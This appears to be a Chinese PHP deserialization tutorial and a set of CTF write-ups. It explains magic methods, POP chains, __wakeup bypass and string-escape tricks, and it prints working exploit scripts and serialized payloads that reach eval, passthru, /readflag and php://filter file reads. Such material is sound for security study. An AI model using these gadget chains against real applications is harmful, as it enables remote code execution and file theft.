在 PHP 中,__toString() 是一个魔术方法,用于定义对象被当作字符串使用时的返回值。当你尝试将一个对象转换为字符串(例如,直接将对象与字符串拼接,或者用 echo 输出对象)时,PHP 会自动调用该对象的 __toString() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class MyClass {
private $value;

public function __construct($value) {
$this->value = $value;
}

public function __toString() {
return $this->value;
}
}

$obj = new MyClass("Hello, World!");
echo $obj; // 输出: Hello, World!

触发条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

call_user_func_array()

1
call_user_func_array(callable $callback, array $param_array): mixed
  • 参数
    • $callback :要调用的回调函数,可以是函数名、类的方法、静态类方法等
    • $param_array :一个数组,包含要传递给回调函数的参数
  • 返回值 :返回回调函数的返回值

示例

1
2
3
4
5
6
7
8
9
10
class A {
public function test($name, $age) {
echo "Name: $name, Age: $age";
}
}

$obj = new A();
$params = ["Alice", 20];
call_user_func_array([$obj, 'test'], $params);
// 输出:Name: Alice, Age: 20

create_function()

create_function() 是 PHP 中的一个函数,用于创建匿名函数(也称为 lambda 函数)。这个函数在 PHP 5.3.0 引入了匿名函数语法之前非常有用,但现在基本已被弃用

1
string create_function ( string $args , string $code )
  • 参数
    • $args :一个包含函数参数列表的字符串,参数之间用逗号分隔。例如:"$arg1, $arg2"
    • $code :一个包含函数主体代码的字符串
  • 返回值 :返回唯一的一个标识符(作为字符串),这个标识符可以用来调用所创建的函数

示例

1
2
3
4
5
6
7
8
9
// 创建一个简单的函数,将字符串转换为大写
$strToUpper = create_function('$str', 'return strtoupper($str);');
echo $strToUpper("hello world"); // 输出:HELLO WORLD

// 在 array_map 中使用
$array = ["apple", "banana", "cherry"];
$upperArray = array_map(create_function('$item', 'return strtoupper($item);'), $array);
print_r($upperArray);
// 输出:Array ( [0] => APPLE [1] => BANANA [2] => CHERRY )

空对象stdClass()

stdClass —— PHP 的“万能空对象”

当我们需要 “随便一个对象” 来占位、触发 __destruct/__wakeup 等,但又不需要它有任何方法时,用 stdClass 最方便


调用顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class pompom{

private $name = "pompom";
function __construct(){
echo "__construct";
echo "</br>";
}
function __sleep(){
echo "__sleep";
echo "</br>";
return array("name");
}
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
function __toString(){
return "__toString"."</br>";
}
}

$pompom_old = new pompom();
$data = serialize($pompom_old);
file_put_contents("serialize-3.txt", $data);
$pompom_new = unserialize($data);
print($pompom_new);

输出结果应该是:

1
2
3
4
5
6
__construct
__sleep
__wakeup
__toString
__destruct
__destruct

两个__destruct()说明存在两个对象,一个是实例化时候创建的,一个是反序列化后生成的对象


利用魔法方法进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Pure {
private $test;
public $Pure = "i am Pure";
function __construct() {
$this->test = new L();
}

function __destruct() {
$this->test->action();
}
}

class L {
function action() {
echo "Welcome!";
}
}

class Evil {

var $test2;
function action() {
eval($this->test2);
}
}

unserialize($_GET['test']);

这里可以看到unserialize()是可控的,就可以利用反序列化,然后看类,第一个类触发时自动调用L()这个类,然后销毁时自动调用Evil(),然后我们看Evil这边有个eval()函数,里面执行的是test2,那我们在构造序列化的时候就可以给这个$test2赋值为恶意代码,然后Evil()触发的时候就会执行我这个恶意代码

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class Pure {
private $test;
public $Pure = "i am Pure";
}

class L {

}

class Evil {

var $test2 = "phpinfo()"; // system('ls /');

}

$a = new Pure();

echo serialize($a);

?>


php一般反序列化

[SWPUCTF 2021 新生赛]ez_unserialize | NSSCTF ez_unserialize

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

?>

可以看到类wllm中,__destruct()方法被重写,需要修改类成员变量内部值来获取flag,因为__destruct()方法是在对象被销毁是调用,由此我们先创建一个对象,给其成员赋值然后进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$aa = new wllm();
$aa->admin = "admin";
$aa->passwd = "ctf";
$stus = serialize($aa);
print_r($stus);
?>

得到序列化的结果

1
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

将结果传入/?p=O:4:“wllm”:2:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:3:“ctf”;}

最后得到flag


绕过__wakeup()

只需要令序列化字符串中标识变量数量的值大于实际变量即可绕过__wakeup()函数

攻防世界 Web_php_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

绕过__wakeup()和正则表达式,但是因为这里的private复制的话会丢失\00,所以直接才有代码中替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$obj = new Demo('fl4g.php');
$str = serialize($obj);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$str1 = str_replace('O:4', 'O:+4',$str);//绕过preg_match
$str2 = str_replace(':1:', ':2:',$str1);//绕过wakeup
var_dump($str2);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($str2));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

?var = TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==


POP链

pop又称之为面向属性编程(Property-Oriented Programing),常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链

总结来说,就是一个接一个的调用,先找头和尾,然后看看魔术方法谁能互相触发,最后构造

来看个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

先找尾巴,很明显在w44m类中的Getflag()中,再顺着向前推,看看有没有什么可以调用Getflag()

看了一圈发现了w33m类中的__toString()中有个函数调用而且类名和函数名都是变量,那么这个__toString() 就和Getflag()连接起来了,再向前推,触发__toString()的条件是当一个对象被当作字符串处理,一看便看到了w22m中__destruct()

最后得到的pop链是:首–>w22m : : __destruct() –> w33m : : __toString() –>w44m : : Getflag()–>尾(flag)

分析完毕,接下来就是构造exp

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w33m();
$b = new w22m();
$c = new w44m();

$b->w00m = $a;
$a->w00m = $c;
$a->w22m = "Getflag";

echo urlencode(serialize($b)); //这个url可有可无

?>

ISCC2025 犯我大吴疆土

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
// 犯flag.php疆⼟者,盛必击⽽破之!
class GuDingDao {
public $desheng;
public function __construct() {
$this->desheng = array();
}
public function __get($yishi) {
$dingjv = $this->desheng;
$dingjv();
return "下次沙场相⻅, 徐某定不留情";
}
}
class TieSuoLianHuan {
protected $yicheng;
public function append($pojun) {
include($pojun);
}
public function __invoke() {
$this->append($this->yicheng);
}
}
class Jie_Xusheng {
public $sha;
public $jiu;
public function __construct($secret = 'reward.php') {
$this->sha = $secret;
}
public function __toString() {
return $this->jiu->sha;
}

public function __wakeup() {
if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha))
{
echo "你休想偷看吴国机密";
$this->sha = "reward.php";
}
}
}
echo '你什么都没看到?那说明……有东西你没看到<br>';
if (isset($_GET['xusheng'])) {
@unserialize($_GET['xusheng']);
} else {
$a = new Jie_Xusheng;
highlight_file(__FILE__);
}
// 铸下这铁链,江东天险牢不可破!

构造Payload

  1. 设置 TieSuoLianHuanyichengphp://filter/convert.base64-

encode/resource=flag.php (需URL编码)

  1. TieSuoLianHuan 实例赋值给 GuDingDaodesheng
  2. GuDingDao 实例赋值给 Jie_Xusheng (B) 的 jiu 属性
  3. Jie_Xusheng (B) 作为 Jie_Xusheng (A) 的 sha 属性
  4. 序列化对象A,确保属性命名和类名正确

LitCTF 2025]君の名は | NSSCTF

进去直接能看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

这边把O改成C可以用下面几个函数:

1
2
3
4
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize

就是在最后

$b = array("PusTR"=>$c)

(创建一个关联数组,将对象 $c 放入数组中并赋予键名为 "PusTR"。这个数组随后被用来创建一个 ArrayObject对象 $b,并被序列化输出,这里的键名随意,后面对象为前面反序列化对象)

$a = new ArrayObject($b);

回归源码:

先看开头的:

1
create_function("", 'die(`/readflag`);');

创建了一个匿名函数然后执行/readflag,所以这里我们需要调用这个匿名函数就可以输出flag

而匿名函数名字可以直接输出:

1
2
3
<?php 
$a = create_function("","die(` /readflag`);");
var_dump($a);

但是这边注意,每次刷新匿名函数的名字都会变,所以需要打开网站的第一次输入

知道了匿名函数的名字之后,我们还需要知道什么原生类可以调用匿名函数,又往下看:

1
2
3
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}

这边只有函数名是可控的,就是说需要调用一个无参函数

ReflectionFunctioninvoke方法可以调用函数,且无参

(借用一下官方WP中的图)

再往下看:

1
2
3
4
5
6
7
8
9
10
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}


public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}

这里的$func会被赋值为flag,然后$args中就是flag()括号里的值

分析完就很清晰了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}

$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a -> musubi = $b;
$b -> thread = $c;
$c -> soul = $a; //调用不存在的$a->flag($c->kuchikamizake, $c->name),触发call

$d = array("PusTR"=>$a);
$e = new ArrayObject($d);

echo urlencode(serialize($e));


?>

#当 $a->musubi() 被调用时,实际上是在调用 $b,因为 $a->musubi 被设置为 $b
#$b 是一个 Mitsuha 类的实例,Mitsuha 类有一个 __invoke() 方法,因此 $b 可以像函数一样被调用
#$b->__invoke() 返回 $b->memory.$b->thread
#$b->thread 是 $c,因此 $b->__invoke() 返回 $b->memory.$c
#$c被当作字符串调用(拼接),触发__toString()




#Litctf2025=C%3A11%3A%22ArrayObject%22%3A245%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A5%3A%22PusTR%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

(建议重开环境再传)

GHCTF 2025]Popppppp | NSSCTF

2025GHCTF Official Write Up for Web | hey’s blog

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
error_reporting(0);

class CherryBlossom {
public $fruit1;
public $fruit2;

public function __construct($a) {
$this->fruit1 = $a;
}

function __destruct() {
echo $this->fruit1;
}

public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}

class Forbidden {
private $fruit3;

public function __construct($string) {
$this->fruit3 = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

class Warlord {
public $fruit4;
public $fruit5;
public $arg1;

public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}

public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}

class Samurai {
public $fruit6;
public $fruit7;

public function __toString() {
$long = @$this->fruit6->add();
return $long;
}

public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}

class Mystery {

public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}

class Princess {
protected $fruit9;

protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}

public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}

class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";

public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}

class UselessTwo {
public $hiddenVar = "123123";

public function __construct($value) {
$this->hiddenVar = $value;
}

public function __toString() {
return $this->hiddenVar;
}
}

class Warrior {
public $fruit12;
private $fruit13;

public function __set($name, $value) {
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}

class UselessThree {
public $dummyVar;

public function __call($name, $args) {
return $name;
}
}

class UselessFour {
public $lalala;

public function __destruct() {
echo "Hehe";
}
}

if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}

此注意到在Mystery类中存在可以利用原生类的函数(__get())

此时我们可以考虑利用 php 原生类进行构造恶意代码进行攻击。那么我们就先将其暂定为链尾

而在从不可访问的属性读取数据或者不存在这个键都会调用 __get() 方法

此时我们发现在 Philosopher 这个类中存在访问不存在的键值 key 这个操作,自然就会触发 __get() 函数

1
2
3
4
5
6
7
8
9
10
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";

public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}

我们发现该函数是魔术魔方__invoke();那么我们就继续想如何才能触发这个__invoke()函数呢?当尝试将对象调用为函数时触发__invoke()。所以此时我们就需要寻找有哪个对象被当作函数进行调用了

我们继续进行源码审计发现在 Warlord 这个类中出现了将对象调用为函数的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Warlord {
public $fruit4;
public $fruit5;
public $arg1;

public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}

public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}

我们观察到该函数为魔术魔方_call();那么我们就继续想如何才能触发这个__call();在对象上下文中调用不可访问的方法或不存在的方法时触发__call()

再接着源码审计可以看到在 Samurai 这个类中出现了不可访问的方法add() ;此时自然就会触发__call() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Samurai {
public $fruit6;
public $fruit7;

public function __toString() {
$long = @$this->fruit6->add();
return $long;
}

public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}

我们观察到该函数为魔术魔方__toString();那么我们就继续想如何才能触发这个__toString()函数呢?在将对象当作字符串使用时就会触发__toString();所以此时我们就需要寻找有哪个对象被当作字符串进行调用了

继续审计发现在 CherryBlossom 类中出现了将对象 fruit1 当作字符串进行使用的操作($newFunc = $this->fruit2;)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class CherryBlossom {
public $fruit1;
public $fruit2;

public function __construct($a) {
$this->fruit1 = $a;
}

function __destruct() {
echo $this->fruit1;
}

public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}

所以链就很清晰了

1
CherryBlossom{__destruct()} -->  Samurai{__toString()} --> Warlord{__call()} --> Philosopher{__invoke()} --> Mystery{__get()}

我们发现在最后一步__get()函数的触发时需要满足

1
2
3
4
5
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}

双重md5

此时利用到的是双重md5绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
if value[start: start + str_len] == substr:
# print rnds
# stop_event.set()

# 碰撞双md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start + str_len] == substr:
print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
stop_event.set()



if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()

反序列化之遍历文件目录类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

error_reporting(0);

class CherryBlossom
{
public $fruit1;
public $fruit2;

function __destruct()
{
echo $this->fruit1;
}

public function __toString()
{
$newFunc = $this->fruit2;
return $newFunc();
}
}




class Mystery
{

public $GlobIterator="/*";

//public $SplFileObject="/flag44545615441084";

public function __get($arg1)
{
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo($day4 . '<br>');
}
});
}
}



class Philosopher
{
public $fruit10;
public $fruit11="rSYwGEnSLmJWWqkEARJp";

public function __invoke()
{
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}






$b=new CherryBlossom();
$b->fruit1=new CherryBlossom();
$b->fruit1->fruit2=new Philosopher();
$b->fruit1->fruit2->fruit10=new Mystery();

$c=serialize($b);
echo $c;

题目 - MoeCTF 2025

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
highlight_file(__FILE__);

class Person
{
public $name;
public $id;
public $age;
}

class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$name->$id($this->age);
}
}

class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}

public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}

class PersonC extends Person
{
public function check($age)
{
$name=$this->name;
if($age == null)
{
die("Age can't be empty.");
}
else if($name === "system")
{
die("Hacker!");
}
else
{
var_dump($name($age));
}
}

public function __wakeup()
{
$name = $this->id;
$name->age = $this->age;
$name($this);
}
}

if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}

我们可以看到,PersonC有个wakeup需要触发,但是从下面wakeup可以看到,需要满足$name得到的是一个对象(类),但是结合POP链来看,wakeup属于开头,所以需要一个对象,来满足这个wakeup的触发,剩下的就是正常的POP链过程(wakeup -> invoke -> destruct -> check)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Person { public $name; public $id; public $age; }
class PersonA extends Person { }
class PersonB extends Person { }
class PersonC extends Person { }

$b = new PersonB();

$c = new PersonC();
$c->name = "passthru";
$c->id = $b;

$a = new PersonA();
$a->name = $c;
$a->id = "check";
$a->age = "env";

echo serialize($a);
?>

字符逃逸

[[安洵杯 2019]easy_serialize_php - LLeaves - 博客园](https://www.cnblogs.com/LLeaves/p/12813992.html#2. php反序列化字符逃逸)

安洵杯 2019]easy_serialize_php ——– 反序列化/序列化和代码审计_ctf 反序列化变量覆盖-CSDN博客

键值逃逸

  • 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
  • 并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号{}外的就都被扔掉。

php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,但是反序列化是有一定的识别范围的,比如:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>

//array(2) { [0]=> string(8) "Hed9eh0g" [1]=> string(5) "aaaaa" }

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
var_dump(unserialize($str));
?>
//array(2) { [0]=> string(8) "Hed9eh0g" [1]=> string(5) "aaaaa" }

两者运行效果是一样的

按照这题来说,以下代码:

1
2
3
4
5
6
7
8
<?php

$_SESSION["flagflag"]='";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';

echo serialize($_SESSION);

//a:2:{s:8:"flagflag";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

而题中代码将flag替换成空,那么结果变为:

1
a:2:{s:8:"";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

而序列化的时候,当内容被过滤为空时,会向后检查过滤掉字符的个数(这里是8)是否符合序列化条件,比如这里之后的;s:58:"",又以 ; 结尾,正好满足规则,所以学历化结果就是:

1
"s:117:"a:2:{s:8:"";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";"

发现成功变成了 s:8:"";s:58:"";

[BUUCTF在线评测](https://buuoj.cn/challenges#[安洵杯 2019]easy_serialize_php) easy_serialize_php

现在来看题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

这里我们只能控制fuction里的值,但是不能控制img里的值,(因为$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的)然而我们这样让他过滤了之后,就可以间接控制到img对应的值。

E.g:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header("Content-type:text/html;charset=utf-8");

echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
var_dump( serialize($_SESSION));

echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
?>

//string(76) "a:1:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"

//string(114) "a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

此时第二段中第一个}之后并未被丢弃,但是过滤之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
header("Content-type:text/html;charset=utf-8");

# echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
# var_dump( serialize($_SESSION));

# echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
# var_dump(serialize($_SESSION));

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

echo "没有黑名单过滤的反序列化后";
$test = serialize($_SESSION);
var_dump(unserialize($test));

echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>";

echo "有黑名单过滤的反序列化后";
$test = filter(serialize($_SESSION));
var_dump(unserialize($test));
?>


//没有黑名单过滤的反序列化后array(2) { ["phpflag"]=> string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw==" }


